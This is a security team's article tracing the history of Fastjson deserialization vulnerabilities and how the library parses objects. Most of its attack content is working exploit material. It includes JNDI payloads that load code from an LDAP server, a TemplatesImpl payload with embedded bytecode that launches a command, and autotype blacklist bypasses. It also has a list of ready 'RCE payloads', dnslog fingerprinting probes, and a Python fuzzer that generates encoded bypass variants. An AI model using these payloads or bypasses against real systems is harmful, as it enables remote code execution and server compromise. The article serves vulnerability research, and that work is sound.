Fastjson Deserialization Vulnerability History

Fastjson Parsing Process

BufferedOutputStream bos = null;
FileOutputStream fos = null;
File file = null;
String filePath = "F:/java/javaproject/fastjsonsrc/target/classes/" + packageName.replace(".","/") + "/";
try {
File dir = new File(filePath);
if (!dir.exists()) {
dir.mkdirs();
}
file = new File(filePath + className + ".class");
fos = new FileOutputStream(file);
bos = new BufferedOutputStream(fos);
bos.write(code);
} catch (Exception e) {
e.printStackTrace();
} finally {
if (bos != null) {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (fos != null) {
try {
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}

Fastjson Demo Test

//User.java
package com.longofo.test;
public class User {
private String name; //Private properties, with getter and setter methods
private int age; //Private properties, with getter and setter methods
private boolean flag; //Private properties, with is and setter methods
public String sex; //Public properties, no getter, setter methods
private String address; //Private properties, no getter, setter methods
public User() {
System.out.println("call User default Constructor");
}
public String getName() {
System.out.println("call User getName");
return name;
}
public void setName(String name) {
System.out.println("call User setName");
this.name = name;
}
public int getAge() {
System.out.println("call User getAge");
return age;
}
public void setAge(int age) {
System.out.println("call User setAge");
this.age = age;
}
public boolean isFlag() {
System.out.println("call User isFlag");
return flag;
}
public void setFlag(boolean flag) {
System.out.println("call User setFlag");
this.flag = flag;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
", flag=" + flag +
", sex='" + sex + '\'' +
", address='" + address + '\'' +
'}';
}
}
package com.longofo.test;import com.alibaba.fastjson.JSON;public class Test1 {
public static void main(String[] args) {
//Serialization
String serializedStr = "{\"@type\":\"com.longofo.test.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//
System.out.println("serializedStr=" + serializedStr);
System.out.println("-----------------------------------------------\n\n");
//Deserialize through the parse method and return a JSONObject
System.out.println("JSON.parse(serializedStr):");
Object obj1 = JSON.parse(serializedStr);
System.out.println("parse deserialize object name:" + obj1.getClass().getName());
System.out.println("parse deserialization:" + obj1);
System.out.println("-----------------------------------------------\n");
//Through parseObject, no class is specified, a JSONObject is returned
System.out.println("JSON.parseObject(serializedStr):");
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject deserialize object name:" + obj2.getClass().getName());
System.out.println("parseObject deserialization:" + obj2);
System.out.println("-----------------------------------------------\n");
//Through parseObject, specified as object.class
System.out.println("JSON.parseObject(serializedStr, Object.class):");
Object obj3 = JSON.parseObject(serializedStr, Object.class);
System.out.println("parseObject deserialize object name:" + obj3.getClass().getName());
System.out.println("parseObject deserialization:" + obj3);
System.out.println("-----------------------------------------------\n");
//Through parseObject, specified as User.class
System.out.println("JSON.parseObject(serializedStr, User.class):");
Object obj4 = JSON.parseObject(serializedStr, User.class);
System.out.println("parseObject deserialize object name:" + obj4.getClass().getName());
System.out.println("parseObject deserialization:" + obj4);
System.out.println("-----------------------------------------------\n");
}
}
  • @Type here corresponds to the commonly autotype function , simply understood that fastjson will automatically map the value of key: value of json to the class corresponding to @type.
  • Several methods of the sample User class are relatively common methods, the naming and return values are all conventionally written in accordance with the requirements of the bean, so some special calls in the following sample test will not be covered, but in the vulnerability analysis , We can see some special cases.
  • Parse uses four types of writing, all of which can cause harm (however, whether it can actually be used depends on the version and whether the user has turned on certain configuration switches, see later).
  • The sample tests all use jdk8u102, and the code is the source code test. It mainly uses samples to explain the process of autotype default opening, the appearance of checkautotype, and the version of the black list and white list from which it appears and enhancement methods.
serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true,"sex":"boy","address":"china"}
-----------------------------------------------
JSON.parse(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
parse deserialize object name:com.longofo.test.User
parse deserialization:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------
JSON.parseObject(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User getAge
call User isFlag
call User getName
parseObject deserialize object name:com.alibaba.fastjson.JSONObject
parseObject deserialization:{"flag":true,"sex":"boy","name":"lala","age":11}
-----------------------------------------------
JSON.parseObject(serializedStr, Object.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject deserialize object name:com.longofo.test.User
parseObject deserialization:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------
JSON.parseObject(serializedStr, User.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject deserialize object name:com.longofo.test.User
parseObject deserialization:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------
JSON.parse(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
parse deserialize object name:com.longofo.test.User
parse deserialization:User{name='lala', age=11, flag=true, sex='boy', address='null'}
JSON.parseObject(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User getAge
call User isFlag
call User getName
parseObject deserialize object name:com.alibaba.fastjson.JSONObject
parseObject deserializationflag":true,"sex":"boy","name":"lala","age":11}
JSON.parseObject(serializedStr, Object.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject deserialize object name:com.longofo.test.User
parseObject deserialization:User{name='lala', age=11, flag=true, sex='boy', address='null'}
JSON.parseObject(serializedStr, User.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject deserialize object name:com.longofo.test.User
parseObject deserialization:User{name='lala', age=11, flag=true, sex='boy', address='null'}
serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true}
-----------------------------------------------
JSON.parse(serializedStr):
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.longofo.test.User
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:882)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137)
at com.alibaba.fastjson.JSON.parse(JSON.java:128)
at com.longofo.test.Test1.main(Test1.java:14)

Fastjson vulnerability version line

{
"rand1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
package com.longofo.test;import com.alibaba.fastjson.JSON;public class Test2 {
public static void main(String[] args) {
String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
// JSON.parse(payload); success
//JSON.parseObject(payload); success
//JSON.parseObject(payload,Object.class); success
//JSON.parseObject(payload, User.class); success,Without using @type directly in the outer layer, a layer of rand: {} is added, and it can be successfully triggered before the type match. This is seen in an xray article https://zhuanlan.zhihu.com/p/99075925,So all subsequent payloads use this mode
}
}
{
"rand1": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
],
"_name": "aaa",
"_tfactory": {},
"_outputProperties": {}
}
}
package com.longofo.test;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
public class Test3 {
public static void main(String[] args) throws Exception {
String evilCode_base64 = readClass();
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload = "{'rand1':{" +
"\"@type\":\"" + NASTY_CLASS + "\"," +
"\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
"'_name':'aaa'," +
"'_tfactory':{}," +
"'_outputProperties':{}" +
"}}\n";
System.out.println(payload);
//JSON.parse(payload, Feature.SupportNonPublicField); 成功
//JSON.parseObject(payload, Feature.SupportNonPublicField); 成功
//JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); 成功
//JSON.parseObject(payload, User.class, Feature.SupportNonPublicField); 成功
}
public static class AaAa { } public static String readClass() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(AaAa.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "AaAa" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
byte[] evilCode = cc.toBytecode();
return Base64.encodeBase64String(evilCode); }
}
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.'); // Position 1, if open autoTypeSupport, whitelist first, then blacklist
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
// Position 2, get clazz from the existing map
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
// Position 3, autoTypeSupport is not enabled, black and white list will still be detected, blacklist first, then whitelist
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
// Position 4, after the black and white list, autoTypeSupport is turned on, and the target class is loaded
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
if (clazz != null) {
// ClassLoader, DataSource subclass/subinterface detection
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
{
"rand1": {
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
package com.longofo.test;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Test4 {
public static void main(String[] args) {
String payload = "{\"rand1\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//JSON.parse(payload); success
//JSON.parseObject(payload); success
//JSON.parseObject(payload,Object.class); success
//JSON.parseObject(payload, User.class); success
}
}
{
"rand1": {
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
package com.longofo.test;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Test5 {
public static void main(String[] args) {
String payload = "{\"rand1\":{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//JSON.parse(payload); success
//JSON.parseObject(payload); success
//JSON.parseObject(payload,Object.class); success
//JSON.parseObject(payload, User.class); success
}
}
{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}
package com.longofo.test;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Test6 {
public static void main(String[] args) {
String payload = "{\"rand1\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true]}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// JSON.parse(payload); success
//JSON.parseObject(payload); success
//JSON.parseObject(payload,Object.class); success
JSON.parseObject(payload, User.class);
}
}
{
"rand1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"rand2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
package com.longofo.test;import com.alibaba.fastjson.JSON;public class Test7 {
public static void main(String[] args) {
String payload = "{\n" +
" \"rand1\": {\n" +
" \"@type\": \"java.lang.Class\", \n" +
" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
" }, \n" +
" \"rand2\": {\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
" \"dataSourceName\": \"ldap://localhost:1389/Object\", \n" +
" \"autoCommit\": true\n" +
" }\n" +
"}";
//JSON.parse(payload); success
//JSON.parseObject(payload); success
//JSON.parseObject(payload,Object.class); success
JSON.parseObject(payload, User.class);
}
}

Detect Fastjson

{"rand1":{"@type":"java.net.InetAddress","val":"http://dnslog"}}{"rand2":{"@type":"java.net.Inet4Address","val":"http://dnslog"}}{"rand3":{"@type":"java.net.Inet6Address","val":"http://dnslog"}}{"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}}{"rand5":{"@type":"java.net.URL","val":"http://dnslog"}}
Some malformed payloads, but can still trigger dnslog:
{"rand6":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}}
{"rand7":Set[{"@type":"java.net.URL","val":"http://dnslog"}]}{"rand8":Set[{"@type":"java.net.URL","val":"http://dnslog"}{"rand9":{"@type":"java.net.URL","val":"http://dnslog"}:0

Some RCE Payload

payload1:
{
"rand1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
payload2:
{
"rand1": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
],
"_name": "aaa",
"_tfactory": {},
"_outputProperties": {}
}
}
payload3:
{
"rand1": {
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://localhost:1389/Object"
}
}
}
payload4:
{
"rand1": {
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "ldap://localhost:1389/Object",
"propertyPath": "foo",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://localhost:1389/Object"
]
}
}
}
payload5:
{
"rand1": Set[
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://localhost:1389/obj"
]
},
"adviceBeanName": "ldap://localhost:1389/obj"
},
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}
]}
payload6:
{
"rand1": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;"
}
}
payload7:
{
"rand1": {
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "ldap://localhost:1389/Object",
"loginTimeout": 0
}
}
...and more
#!usr/bin/env python  
# -*- coding:utf-8 -*-
"""
@author: longofo
@file: fastjson_fuzz.py
@time: 2020/05/07
"""
import json
from json import JSONDecodeError
class FastJsonPayload:
def __init__(self, base_payload):
try:
json.loads(base_payload)
except JSONDecodeError as ex:
raise ex
self.base_payload = base_payload
def gen_common(self, payload, func):
tmp_payload = json.loads(payload)
dct_objs = [tmp_payload]
while len(dct_objs) > 0:
tmp_objs = []
for dct_obj in dct_objs:
for key in dct_obj:
if key == "@type":
dct_obj[key] = func(dct_obj[key])
if type(dct_obj[key]) == dict:
tmp_objs.append(dct_obj[key])
dct_objs = tmp_objs
return json.dumps(tmp_payload)
# Increase the value of @type by the beginning of L, the end of ;
def gen_payload1(self, payload: str):
return self.gen_common(payload, lambda v: "L" + v + ";")
# Increase the value of @type by the beginning of LL, the end of ;;
def gen_payload2(self, payload: str):
return self.gen_common(payload, lambda v: "LL" + v + ";;")
# Carry on the value of @type \u format
def gen_payload3(self, payload: str):
return self.gen_common(payload,
lambda v: ''.join('\\u{:04x}'.format(c) for c in v.encode())).replace("\\\\", "\\")
# Carry on the value of @type \x format
def gen_payload4(self, payload: str):
return self.gen_common(payload,
lambda v: ''.join('\\x{:02x}'.format(c) for c in v.encode())).replace("\\\\", "\\")
# Generate cache bypass payload
def gen_payload5(self, payload: str):
cache_payload = {
"rand1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}
}
cache_payload["rand2"] = json.loads(payload)
return json.dumps(cache_payload)
def gen(self):
payloads = []
payload1 = self.gen_payload1(self.base_payload)
yield payload1
payload2 = self.gen_payload2(self.base_payload)
yield payload2
payload3 = self.gen_payload3(self.base_payload)
yield payload3
payload4 = self.gen_payload4(self.base_payload)
yield payload4
payload5 = self.gen_payload5(self.base_payload)
yield payload5
payloads.append(payload1)
payloads.append(payload2)
payloads.append(payload5)
for payload in payloads:
yield self.gen_payload3(payload)
yield self.gen_payload4(payload)
if __name__ == '__main__':
fjp = FastJsonPayload('''{
"rand1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}''')
for payload in fjp.gen():
print(payload)
print()
{"rand1": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}{"rand1": {"@type": "\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\u004c\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\x4c\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}{"rand1": {"@type": "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}

Reference

  1. https://paper.seebug.org/994/#0x03
  2. https://paper.seebug.org/1155/
  3. https://paper.seebug.org/994/
  4. https://paper.seebug.org/292/
  5. https://paper.seebug.org/636/
  6. https://www.anquanke.com/post/id/182140#h2-1
  7. https://github.com/LeadroyaL/fastjson-blacklist
  8. http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/#v1-2-47
  9. http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/
  10. http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
  11. http://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/#0x03-%E6%96%B9%E6%B3%95%E4%BA%8C-%E5%88%A9%E7%94%A8java-net-InetSocketAddress
  12. https://xz.aliyun.com/t/7027#toc-4
  13. <https://zhuanlan.zhihu.com/p/99075925

--

--

--

404 Team, the core team from a well-known security company Knowsec in China. Twitter:@seebug_team Youtube: @404team knownsec Email:zoomeye@knownsec.com

Love podcasts or audiobooks? Learn on the go with our new app.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Knownsec 404 team

Knownsec 404 team

404 Team, the core team from a well-known security company Knowsec in China. Twitter:@seebug_team Youtube: @404team knownsec Email:zoomeye@knownsec.com

More from Medium

ViteBridge 0.1 Bug Bounty Program

Wombat Exchange! The complete algorithm for Stableswap

XY Finance now supports the Avalanche C-Chain!

Multichain Collaborate with Immunefi to Launch a Bug Bounty Program